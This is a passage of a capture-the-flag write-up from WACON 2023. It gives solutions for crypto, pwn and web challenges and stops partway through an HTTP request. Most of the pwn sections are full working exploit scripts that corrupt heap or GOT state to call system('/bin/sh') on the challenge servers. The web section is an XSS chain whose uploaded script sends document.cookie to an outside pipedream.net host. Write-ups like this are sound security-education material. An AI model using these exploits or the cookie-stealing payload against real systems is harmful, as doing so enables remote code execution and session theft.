24712135189687942739677490021030751776088469214818275631687482073531676912880823269667196936095460153002434759403063429337125873794523587731746689517070810687221399532024093572951282737818446579992570629531618780373767724789390101166147862982539311016801595612323156816999866783427829783286164172896802725820761659256555627406518829192800217880692359914672894220547306033679060066475600137205045054015651689487444267401130160872050085589597109014374199731072611044277806027332254214020499883131062627540945260814416104971893858787291926267157394988131329441246648393933117451348643609850156730059817506513924523851733 c = 19285290054358264594160191119053363484661054622854927550086540936229836207751905061897299540539735528766803248513199392889410922209106513019275525361297785136742517684745274089253401778969310170805452788203125136583847273167894915706201708268160138117578035286292385848441833691098676192230945185815890266453215404593242520989429750775723053435372661531195966551199012453469748764989624596296116016310586535749198878013241527430239006604194528859329192316989103910514620735894760979900228995139208829267762309798970482895132300580481270883276800390489213520429816698576642899381455153039281329012831320123165127378159 p_msb = 161405912451824860188834725646055524173328544131300133372580621368926433914138476338787007253318242142454894032713487340762003643551953941809023233323836630063065828499586237941251339865726273353740523275987884928619323490566227483094269770052935277592758770273832919929071652425379016974435907024060290170880 guess = 874459 brute = 1021020 x_maybe = x_maybe - n p_maybe = (p_msb + (1 << 511)) // brute * brute + brute * x_maybe + guess p = p_maybe q = n // p d = int(inverse_mod(0x10001, (p - 1)*(q - 1))) print(long_to_bytes(pow(c, d, n))) # WACON2023{flatter=>https://eprint.iacr.org/2023/237.pdf} ``` ## Crypto/White arts Easy part: - Generator1 : Can be determined by whether the second half of what is entered is visible in the first half. - Generator2 : 7 bytes from the front of each output matches the input of "˶x00"*16, "˶x01"*7+"˶x01"+"˶x00"*8. - Generator3 : The inverse is just the reverse of the input order, so if you input "A"*8+"B"*8 and "B"*8+"A"*8 with and without inverse, the answer strings of half match. ```py= from pwn import * def xor(a : bytes, b : bytes): return bytes([u ^ v for u,v in zip(a,b)]) query_left = 266 io = process(["python","prob.py"]) # io = remote("175.118.127.63" ,2821) context.log_level = "debug" io.recvline() def solve_1(): global query_left io.sendlineafter(b"> ",b"1") for _ in range(40): io.sendlineafter(b"> ",(b"A"*8+b"B"*8).hex().encode()) io.sendlineafter(b"> ",b"n") ret = bytes.fromhex(io.recvline().decode()) if ret[:8] == b"B"*8: io.sendlineafter(b"> ",b"0") else: io.sendlineafter(b"> ",b"1") def solve_2(): io.sendlineafter(b"> ",b"2") for _ in range(40): io.sendlineafter(b"> ",(b"\x00"*8+b"\x00"*8).hex().encode()) io.sendlineafter(b"> ",b"n") ret1 = io.recvline().decode() io.sendlineafter(b"> ","00000000000000010000000000000000".encode()) io.sendlineafter(b"> ",b"n") ret2 = io.recvline().decode() if ret1[:15] == ret2[:15]: io.sendlineafter(b"> ",b"0") else: io.sendlineafter(b"> ",b"1") def solve_3(): io.sendlineafter(b"> ",b"2") for _ in range(40): io.sendlineafter(b"> ",(b"A"*8+b"B"*8).hex().encode()) io.sendlineafter(b"> ",b"n") ret1 = bytes.fromhex(io.recvline().decode()) io.sendlineafter(b"> ",(b"B"*8+b"A"*8).hex().encode()) io.sendlineafter(b"> ",b"y") ret2 = bytes.fromhex(io.recvline().decode()) # print(ret1,ret2) # print(ret1[8:] , ret2[:8]) # input() if ret1[8:] == ret2[:8]: io.sendlineafter(b"> ",b"0") else: io.sendlineafter(b"> ",b"1") io.interactive() solve_1() solve_2() solve_3() ``` Hard part: - Generator4 : The input with and without inverse will be like an inverse function, so just check $"\x00"*8 = f^{-1}(f("\x00"*8))$. - Generator5 : Basically xor of all random permutations will be zero. ```python= def solve_4(): io.sendlineafter(b"> ",b"2") for _ in range(40): io.sendlineafter(b"> ",(b"\x00"*16).hex().encode()) io.sendlineafter(b"> ",b"n") ret1 = bytes.fromhex(io.recvline().decode()) io.sendlineafter(b"> ",(b"B"*8+b"A"*8).hex().encode()) io.sendlineafter(b"> ",b"y") ret2 = bytes.fromhex(io.recvline().decode()) # print(ret1,ret2) # print(ret1[8:] , ret2[:8]) # input() if ret1[8:] == ret2[:8]: io.sendlineafter(b"> ",b"0") else: io.sendlineafter(b"> ",b"1") def solve_5(): # 256 io.sendlineafter(b"> ",b"256") for _ in range(40): rets = [[] for __ in range(8)] for i in range(256): # print(long_to_bytes(i).hex().zfill(2).encode()) io.sendlineafter(b"> ",long_to_bytes(i).hex().zfill(2).encode()) io.sendlineafter(b"> ",b"n") ret1 = int(io.recvline().decode(),16) for k in range(8): rets[k].append((ret1>>k)&1) rets = [a.count(1) for a in rets] print(rets) if all(r%2==0 for r in rets): io.sendlineafter(b"> ",b"0") else: io.sendlineafter(b"> ",b"1") io.interactive() solve_4() solve_5() # WACon2023{c7a47ff1646698d275602dce1355645684f743f1} ``` ## Pwn/Heaphp In `zif_add_note`, the second argument is a string which can contain null byte. So when it allocates space for note content with `strlen(second_arg)`, the size can be smaller than the actual size `__n` of the string which is eventually copied into with `memcpy()`. The custom php allocator works in a very simple singly-linked list, allocation is predictable and contiguous. Using out-of-bound write to modify the length and the pointer of note to achieve arbitrary read with `zif_view_note` and arbitrary write with `zif_edit_note`. Leak heap pointer, then php pointer on the heap, then find `mm_heap` on php bss. After that corrupt `mm_heap` structure with arbitrary write. Modify `mm_heap->use_custom heap` at offset 0x0 to non-zero with command for system and modify `_free` of custom heap at offset 0x170 to system. Finally trigger the custom `_free` by deleting notes eventually calling `_efree` ```php <?php $arr = "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"; function repeat($character, $count) { $result = ""; for ($i = 0; $i < $count; $i++) { $result .= $character; } return $result; } function parse_int($string, $pos) { $result = 0; for ($x = 0; $x < 6; $x++) { $val = ord($string[$pos + $x]); $result += $val << (8 * $x); } return $result; } function int_2_string($value) { $result = ""; $arr = "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"; for ($x = 0; $x < 6; $x++) { $val = $value & ( 0xff); $result .= $arr[$val]; $value >>= 8; } $result .= "\x00\x00"; return $result; } function arb_read($where) { edit_note(0, int_2_string($where)); $leak = view_note(1); $ptr_leak = parse_int($leak, 0); return $ptr_leak; } function arb_write($where, $what) { edit_note(0, int_2_string($where)); edit_note(1, int_2_string($what)); } $name = ";/bin/sh;"; $pad40 = ""; for ($x = 0; $x < 40; $x++) { $pad40 .= "A"; } $pad256 = ""; for ($x = 0; $x < 256; $x++) { $pad256 .= "A"; } $content1 = $pad40 . "\x42\x42\x42\x42\x42\x42"; $content2 = $pad256 . "\x42\x42\x42\x42\x42\x42"; add_note($name, $content2); add_note($name, $content2); delete_note(0); delete_note(1); $overflow = $pad40 . "\x42\x42\x42\x42\x42\x42\x42\x00" . repeat("A", 8 * 4) . "\x60"; add_note($name, $overflow); $leak = view_note(0); $ptr = parse_int($leak, 0x58); delete_note(0); $overflow = $pad40 . "\x42\x42\x42\x42\x42\x42\x42\x00" . repeat("A", 8 * 4) . "\x08" . repeat("\x00", 7) . int_2_string($ptr + 0x88); add_note($name, $overflow); add_note($name, $content2); $leak = view_note(0); $ptr1 = parse_int($leak, 0); $tmp = arb_read($ptr + 0x1d30 + 0x1348); $php = arb_read($tmp + 0x20); $base_php = $php - 0x348c77; $strdup = arb_read($base_php + 0x5435b0); $base_libc = $strdup - 0xa85f0; $system = $base_libc + 0x50d60; $mm_heap = arb_read($base_php + 0x55e238); add_note($name, $content2); arb_write($ptr + 0xb8, 0x40); arb_write($ptr + 0xb8 + 2, ($mm_heap >> 16)); arb_write($mm_heap + 0x170, $system); edit_note(2, "/readflag;"); delete_note(2); ?> ``` ## Pwn/real sorry (revenge) My teammate dumped the OCaml byte code and converted it to js with `js_of_ocaml` to produce this: ```js switch (cc) { case 0: var u = set_register(a[2], a[3]); break; case 1: var u = get_register(a[2]); break; case 2: var fF = get_register(a[2]), u = (fF + get_register(a[3])) | 0; break; case 3: var fG = get_register(a[2]), u = set_register(0, (fG + get_register(a[3])) | 0); break; case 4: var fH = get_register(a[2]), u = (fH - get_register(a[3])) | 0; break; case 5: var fI = get_register(a[2]), u = set_register(0, (fI - get_register(a[3])) | 0); break; case 6: var fJ = get_register(a[2]), u = Math.imul(fJ, get_register(a[3])); break; case 7: var fK = get_register(a[2]), u = set_register(0, Math.imul(fK, get_register(a[3]))); break; case 8: var u = get_memory(get_register(a[2])); break; case 9: var u = get_memory(get_register[2]); break; case 10: var u = set_register(0, get_memory(get_register(a[2]))); break; case 11: var u = set_register(0, get_memory(a[2])); break; case 12: var u = set_memory(a[2], a[3]); break; case 13: var fL = get_register(a[3]), u = set_memory(a[2], fL); break; case 14: var fM = get_register(a[2]), u = set_memory(fM, get_register(a[3])); break; case 15: var u = syscall(0); break; case 16: var fN = get_register(a[3]), u = set_register(a[2], fN); break; default: var fO = get_register(a[2]), u = set_memory(fO, a[3]); ``` After that looking into `libstorage.so`, we found the out-of-bound bugs with `set_memory` and `get_memory`. Memory is around 0x400 size large and there is no bound check. We also figure out we can read arbitrary file with opcode 15. So we can get the leak by reading `proc/self/maps`. To exploit this, we first notice there is a large unsorted bin behind OCaml function table. First using arbitrary file read to get leak, then use out-of-bound write to corrupt unsorted bin size to include the Ocaml function table region. There are 3 places we need to corrupt: unsorted bin size, previous bin size, and prev_in_use of next chunk. We can malloc a large chunk with file name input. So after getting the leak and corrupting unsorted bin, we can input a large file name to trigger the malloc, and write into OCaml function table, changing it to `oneshot`. The exploit takes a few times to succeed. ```python from subprocess import run from pwn import * p = remote("58.229.185.61", 10001) payload = b"\x00\x00\x00" + b"\x0f\x00\x00"*3 def set_register(x, y): return p8(0) + p8(x) + p8(y) def set_reg_reg(x, y): return p8(16) + p8(x) + p8(y) def add_register(x, y): return p8(3) + p8(x) + p8(y) def mul_register(x, y): return p8(7) + p8(x) + p8(y) def set_mem_regs(x, y): return p8(14) + p8(x) + p8(y) def sub_register(x, y): return p8(5) + p8(x) + p8(y) payload += set_register(1, 2 * 16) payload += set_register(2, 56 * 2) payload += set_register(3, 71 * 2) payload += set_register(4, 4 * 2) payload += set_register(5, 2 * 4) payload += mul_register(1, 2) payload += mul_register(0, 3) payload += mul_register(0, 5) payload += add_register(0, 4) payload += set_reg_reg(6, 0) payload += set_register(1, 1 * 16) payload += set_register(2, 44 * 2) payload += set_register(3, 134) payload += set_register(4, 4 * 2) payload += set_register(5, 2 * 4) payload += set_register(8, 2 * 2) payload += mul_register(1, 2) payload += mul_register(0, 3) payload += mul_register(0, 5) payload += sub_register(0, 4) payload += add_register(0, 8) payload += add_register(0, 8) payload += add_register(0, 8) payload += set_mem_regs(0, 6) payload += set_register(1, 3 * 8) payload += set_register(2, 65 * 2) payload += set_register(3, 70 * 2) payload += set_register(4, 0x1b * 2) payload += set_register(5, 2 * 4) payload += set_register(8, 2 * 2) payload += mul_register(1, 2) payload += mul_register(0, 3) payload += mul_register(0, 5) payload += add_register(0, 4) payload += add_register(0, 4) payload += add_register(0, 4) payload += add_register(0, 4) payload += set_mem_regs(0, 6) payload += set_register(1, 3 * 8) payload += set_register(2, 65 * 2) payload += set_register(3, 70 * 2) payload += set_register(4, 0x1c * 2) payload += set_register(5, 2 * 4) payload += set_register(8, 2 * 2) payload += mul_register(1, 2) payload += mul_register(0, 3) payload += mul_register(0, 5) payload += add_register(0, 4) payload += add_register(0, 4) payload += add_register(0, 4) payload += add_register(0, 4) payload += set_mem_regs(0, 6) payload += b"\x00\x00\x00" + b"\x0f\x00\x00" p.send(payload) p.sendlineafter("File name: \n", b"/proc/self/maps") p.recvuntil(b"libstorage.so\n") leak = int(p.recvuntil(b"-")[:-1], 16) - 0x6000 log.info("LIB STORAGE: " + hex(leak)) p.sendlineafter("File name: \n", b"A"*0x300) p.sendlineafter("File name: \n", b"A"*0x380) p.sendlineafter("File name: \n", b"\0"*0x6f0 + p64(0x700) + p64(0x1810) + b"A"*0x418 + p64(leak + 0x9fa0)) p.interactive() ``` ## Pwn/dumb_contract A VM challenge which we can `load_code` and `execute_code` with gas limit. The opcode list we reversed and used was this. ``` 0x10 + p64(offset): push to stack input[offset] 0x20: return 0x21: sum = pop(stack) + pop(stack). push sum to stack 0x22: mul = pop(stack) * pop(stack). push mul to stack 0x23: sub = pop(stack) - pop(stack). push sub to stack 0x24: div = pop(stack) / pop(stack). push div to stack 0x25: shl = pop(stack) << pop(stack). push shl to stack 0x26: shr = pop(stack) >> pop(stack). push shr to stack 0x30 + p64(const): push const to stack 0x31: dup back of stack. 0x40: mem[pop(stack)] = pop(stack) 0x41: push(mem[pop(stack)]) 0x50 + p64(addr): pc = addr (no bound check) 0x51 + p64(addr): if zero pop(stack): pc = addr 0x52 + p64(addr): if not zero pop(stack): pc = addr 0x53 + p64(addr): if pop1 > pop2 0x54 + p64(addr): if pop1 >= pop2 0x55 + p64(addr): if pop1 < pop2 0x56 + p64(addr): if pop1 <= pop2 0x60: realloc(seed-pop1, size-pop2) (uninitialized data) 0x61: write(seed-pop1, offset-pop2, val-pop3) 0x62: push(read(seed-pop1, offset-pop2)) 0x70: push(hash(mem[offset-pop1:offset-pop1 + size-pop2])) 0x81: call another address with input, output, gas_limit 0x83: push(output, pop(stack)) ``` The bug lies in how `gas_meter_mark` was used, if gas runs out the programs throw exception and returns, this can be detrimental to program usual execution. We abused UaF in `reallocData`, if we free and then running out of gas, that entry in `dataMap` won't be removed. To exploit, we call a function twice with opcode 0x81, the first time to create UaF, and the second time to exploit the UaF. We makes the UaF pointer a large chunk around 0x6000 byte, and then we can spray`dataMap` entry with opcode 0x60. `dataMap` entry has data pointer (first) and data size (second). And we can access the data region with opcode 0x61 (write to data region), and opcode 0x62 (read from data region). So we can read and write from the UaF pointer region, and modify the pointer and size of other `dataMap` entry to get arbitrary read and arbitrary write. We used this to find `environ` and write to stack directly. ```python #!/usr/bin/env python3 from pwn import * def load_code(code): r.sendlineafter("Exit\n", b"1") r.sendlineafter("hex: ", code.hex()) r.recvuntil("address: ") address = int(r.recvline()[:-1], 16) return address def execute_code(to_addr, gas_limit, input_data): r.sendlineafter("Exit\n", b"2") r.sendlineafter("hex: ", p64(to_addr).hex().encode() + p64(gas_limit).hex().encode() + input_data) def execute_calc(to_addr, gas_limit, input_data): r.sendlineafter("Exit\n", b"4") r.sendlineafter("hex: ", p64(to_addr).hex().encode() + p64(gas_limit).hex().encode() + input_data) def push_const(x): return p8(0x30) + p64(x) def pop_2_out(): return p8(0x83) def push_from_mem(where): return push_const(where) + p8(0x41) def read_data_map(seed, off): return push_const(off) + push_const(seed) + p8(0x62) def write_data_map(seed, off, val): return push_const(val) + push_const(off) + push_const(seed) + p8(0x61) def write_data_map_1(seed, off): return push_const(off) + push_const(seed) + p8(0x61) def realloc(seed, size): return push_const(size) + push_const(seed) + p8(0x60) def push_input_2_stack(offset): return p8(0x10) + p64(offset) def if_not_zero(offset): return p8(0x52) + p64(offset) def set_mem(offset, val): return push_const(val) + push_const(offset) + p8(0x40) def set_mem_1(offset): return push_const(offset) + p8(0x40) def sub(): return p8(0x23) def add(): return p8(0x21) def dup_back(): return p8(0x31) def call(addr, input_addr, input_size, output_addr, gas_limit): return push_const(gas_limit) + push_const(output_addr) + push_const(input_size) + push_const(input_addr) + push_const(addr) + p8(0x81) r = remote("58.229.185.49", 13337) addr = load_code(realloc(0, 0x30)) execute_code(addr, 0x100, b"A"*8) p = push_input_2_stack(0) p += if_not_zero(9 + 9 + (9 + 9 + 1)*2) p += realloc(1, 0xe00 - 0x100) p += realloc(1, 0) p += read_data_map(1, 0) # libc p += read_data_map(1, 3) # heap p += write_data_map(1, 10, 0x6873) p += realloc(2, 0x8c ) p += realloc(3, 0x20) p += write_data_map(1, 10, 0x6873) p += set_mem_1(0) p += set_mem_1(1) p += push_const(0x6df0) p += push_from_mem(1) p += add() p += write_data_map_1(1, 5) p += read_data_map(2, 0) #stack p += set_mem_1(2) # Memory(0) : heap pointer # Memory(1) : libc pointer # Memory(2) : stack pointer p += write_data_map(1, 10, 0x6873) p += push_const(0xea0 + 7 * 8) p += push_from_mem(2) p += sub() p += write_data_map_1(1, 5) p += push_const(0x1f002b - 0x360) p += push_from_mem(1) p += sub() p += write_data_map_1(2, 7) # pop rdi ; pop rbp ; ret p += push_const(0x60) p += push_from_mem(0) p += add() p += write_data_map_1(2, 8) # rdi p += push_const(0x1c96b0) p += push_from_mem(1) p += sub() p += write_data_map_1(2, 10) # system p += p8(0x20) addr1 = load_code(p) addr2 = load_code(call(addr1, 0, 1, 0, 0x8339) + set_mem(0, 1) + call(addr1, 0, 1, 0, 0xffffffff) + p8(0x20)) execute_calc(addr2, 0x100, b"A"*8) r.interactive() ``` ## Pwn/flash-memory ``` [user@psyche flash-memory]$ file app app: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a4ac79971eadda321496d4fbda47637e01bed95d, for GNU/Linux 3.2.0, stripped [user@psyche flash-memory]$ pwn checksec app [*] '/home/user/stuff/wacon2023/flash-memory/app' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled ``` Since the binary is stripped i will be prodiving ghidra screenshots for clarity. ![](https://hackmd.io/_uploads/HkgGS5-Rn.png) First thing main does is check if the global variable `_initialized` is set to 0. If it's not it parses `/proc/self/maps` to find all the mapped `.data` sections (characterized by being writeable and not being the stack or the heap) and then crc32's their addresses, creates a new mapping using mmap with the base address being the crc32 result shifted left by 12 (thus making it page-aligned), copies the data over, and then prints out the new maps address. It also dumps a bunch of random gibberish into the binary's `.data`, but that's irrelevant to the exploit. ![](https://hackmd.io/_uploads/ryoMIqWCn.png) Afterwards it prints out a menu in the form of ``` 1. Load Memory 2. Allocate Memory 3. Read Memory 4. Write Memory 0. Exit :> ``` The load memory option copies the data from the copies back into their original place. Allocate memory asks for a key and length, and then uses the crc32 result to create a new map in a similar way to how the copy mappings were created. Read memory checks if the user-created map exists, and then asks for an offset to start printing the data from. Write memory does the same thing as read memory except it writes data into the map. The vulnerability lies in the fact that crc32 is used for creating the user map, and because for lengths of 4 or less we can make crc32 output any arbitrary number, and because we know the addresses of the copy maps, we can manipulate allocate memory to create a map in the same place as one of the copy maps, allowing us to arbitrarily read and write to it. I chose to modify the binary's `.data` copy map, which is always the first one to be printed out(simplifiying the exploit a bit,since i won't have to figure out how to find the map i want). My first exploit idea was to leak the libc base address, then change one of the libc functions to a magic gadget, unfortunately that didn't work as none of the magic gadget's constraints fit. While trying that i stumbled upon another problem, the fact that it crashed on calling `memcpy@plt`. After a quick investigation i found out that because the copy was created while in the middle of calling `memcpy`, the GOT entry for `memcpy` was incorrect, so i had to manually "restore" it, the same principle applies to all the functions that weren't called until *after* the copy was created (which will be relevant later). ![](https://hackmd.io/_uploads/BkemK9WA3.png) My second attempt was trying to overwrite one of the GOT entries with `system()`. After searching around in the code for a bit i found the perfect function to do it with. That being `strlen` because it fits multiple criteria: 1. It's called in only one place, that being inside of the allocate memory switch case. 2. It's called with user-controllable data 3. It can be called on-demand At first i only modified the GOT entries for `memcpy` and `strlen`, but that crashed on remote, so i assumed that the same issue as with memcpy could happen to other libc functions, so i painstakingly rebuilt the GOT for all the library functions called on the path from `load_maps` to `strlen`. It also just refused to work once in a few tries,but oh well it's reliable enough. ``` [user@psyche flash-memory]$ ./solve.py [*] '/home/user/stuff/wacon2023/flash-memory/app_patched' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'.' [*] '/home/user/stuff/wacon2023/flash-memory/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] '/home/user/stuff/wacon2023/flash-memory/ld-linux-x86-64.so.2' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to 58.229.185.61 on port 10002: Done [+] .data map: 0xa08ec011 [+] Starting local process '/usr/bin/python3': pid 4696 [+] Receiving all data: Done (408B) [*] Process '/usr/bin/python3' stopped with exit code 0 (pid 4696) [+] Reverse sequence: b'\xa9{\x97\xe1' [+] Libc leak: 0x7fca33567000 [*] Switching to interactive mode $ ls app flag run.sh $ cat flag WACON2023{1781c5a33dff309f0989949de542aa3faf475766450fb12ff607116073a58138}$ ``` ```python # solve.py # crc32.py is taken from https://github.com/theonlypwner/crc32/tree/main #!/usr/bin/env python3 from pwn import * exe = ELF("./app_patched") libc = ELF("./libc.so.6") ld = ELF("./ld-linux-x86-64.so.2") context.binary = exe context.terminal = "kitty" def conn(): if args.LOCAL: r = gdb.debug([exe.path],""" c """) else: r = remote("58.229.185.61", 10002) return r def main(): r = conn() data_map = int(r.recvline().strip()[8:],16) >> 12 log.success(f".data map: {hex(data_map)}") reverser = process(["python3","./crc32.py","reverse",hex(data_map)]) reverse = reverser.recvall() reverser.close() reverse = bytes(eval(reverse.split(b"\n")[0][9:].replace(b"{",b"[").replace(b"}",b"]"))) log.success(f"Reverse sequence: {reverse}") r.sendlineafter(b":> ",b"2") r.sendlineafter(b":> ",reverse) r.sendlineafter(b":> ",b"4096") memory = b"0"*0x1000 r.sendlineafter(b":> ",b"3") r.sendlineafter(b":> ",b"0") memory = r.recv(4096) libc_leak = u64(memory[0x18:0x20])-0x62200 log.success(f"Libc leak: {hex(libc_leak)}") memory = memory[:0x30] + p64(libc_leak+0x50d60) + memory[0x38:] memory = memory[:0x68] + p64(libc_leak+0xc4a00) + memory[0x70:] memory = memory[:0x20] + p64(libc_leak+0x80ed0) + memory[0x28:] memory = memory[:0x48] + p64(libc_leak+0x60770) + memory[0x50:] memory = memory[:0x58] + p64(libc_leak+0x114980) + memory[0x60:] memory = memory[:0x80] + p64(libc_leak+0x43640) + memory[0x88:] memory = memory[:0x50] + p64(libc_leak+0xa9750) + memory[0x58:] r.sendlineafter(b":> ",b"4") r.sendlineafter(b":> ",b"0") r.send(memory) r.sendlineafter(b":> ",b"1") r.sendlineafter(b":> ",b"2") r.sendlineafter(b":> ",b"/bin/sh") r.sendlineafter(b":> ",b"1") r.interactive() if __name__ == "__main__": main() ``` ## Web/warmup-revenge There are hidden files that are not shown on the website navbar like `download.php` which will help download files uploaded on the board when writing articles and `report.php` which will report a link to the admin bot to visit. This is the code for `download.php`: ```php <?php include('./config.php'); ob_end_clean(); if(!trim($_GET['idx'])) die('Not Found'); $query = array( 'idx' => $_GET['idx'] ); $file = fetch_row('board', $query); if(!$file) die('Not Found'); $filepath = $file['file_path']; $original = $file['file_name']; if(preg_match("/msie/i", $_SERVER['HTTP_USER_AGENT']) && preg_match("/5\.5/", $_SERVER['HTTP_USER_AGENT'])) { header("content-length: ".filesize($filepath)); header("content-disposition: attachment; filename=\"$original\""); header("content-transfer-encoding: binary"); } else if (preg_match("/Firefox/i", $_SERVER['HTTP_USER_AGENT'])){ header("content-length: ".filesize($filepath)); header("content-disposition: attachment; filename=\"".basename($file['file_name'])."\""); header("content-description: php generated data"); } else { header("content-length: ".filesize($filepath)); header("content-disposition: attachment; filename=\"$original\""); header("content-description: php generated data"); } header("pragma: no-cache"); header("expires: 0"); flush(); $fp = fopen($filepath, 'rb'); $download_rate = 10; while(!feof($fp)) { print fread($fp, round($download_rate * 1024)); flush(); usleep(1000); } fclose ($fp); flush(); ?> ``` First thing to note is that we have an IDOR that let us access to any file to download having it's ID and some kind of CRLF that would let us overwrite the `content-disposition` header making the response an inline page with the content of the file to download instead of downloading the file and not showing it's content on the page making XSS possible. ```php header("content-disposition: attachment; filename=\"$original\""); ``` We could overwrite the header if we include a carriage return `\r` and some characters after it like `asdf\rjunk.html` The `board.php` is letting us upload files as attachment in the article and it's taking the filename as it is making CRLF possible: ``` $insert['file_name'] = $_FILES['file']['name']; ``` We also have a CSP ``` Content-Security-Policy: default-src 'self'; style-src 'self' ``` This CSP would let us include scripts from same domain a simple bypass would be to upload first a file containing the javascript code to execute then another file to include that js code from the `download.php` page. So first request would be: ``` POST /board.php?p=write HTTP/1.1 Host: 58.225.56.195 Content-Length: 681 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://58.225.56.195 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydFZmSiashN04RJ1C User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://58.225.56.195/board.php?p=write Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=23c454a3f075dc9dc737e6fe71a98644 Connection: close ------WebKitFormBoundarydFZmSiashN04RJ1C Content-Disposition: form-data; name="title" testy ------WebKitFormBoundarydFZmSiashN04RJ1C Content-Disposition: form-data; name="content" asdf ------WebKitFormBoundarydFZmSiashN04RJ1C Content-Disposition: form-data; name="level" 1 ------WebKitFormBoundarydFZmSiashN04RJ1C Content-Disposition: form-data; name="file"; filename="myFile.html" Content-Type: text/html document.location="https://enwau6gu4zv3.x.pipedream.net/?x=".concat(encodeURIComponent(document.cookie)); ------WebKitFormBoundarydFZmSiashN04RJ1C Content-Disposition: form-data; name="password" benjeddou ------WebKitFormBoundarydFZmSiashN04RJ1C-- ``` We could get the uploaded file from: http://58.225.56.195/download.php?idx=975 Now we upload the second file with the return carriage in its name to load the first file as a script. \r is replaced with the carriage return in the below request because doing url encode didn't work correctly so I needed to change hex of request in burpsuite to inject the carriage return. ![](https://hackmd.io/_uploads/HJAP5ZfAh.png) ``` POST /board.php?p=write HTTP/1.1 Host: 58.225.56.195 Content-Length: 681 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://58.225.56.195 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydFZmSiashN04RJ1C User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://58.225.56.195/board.php?p=write Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=23c454a3f075dc9dc737e6fe71a98644 Connection: close ------WebKitFormBoundarydFZmSiashN04RJ1C Content-Disposition: form-data; name="title" testy 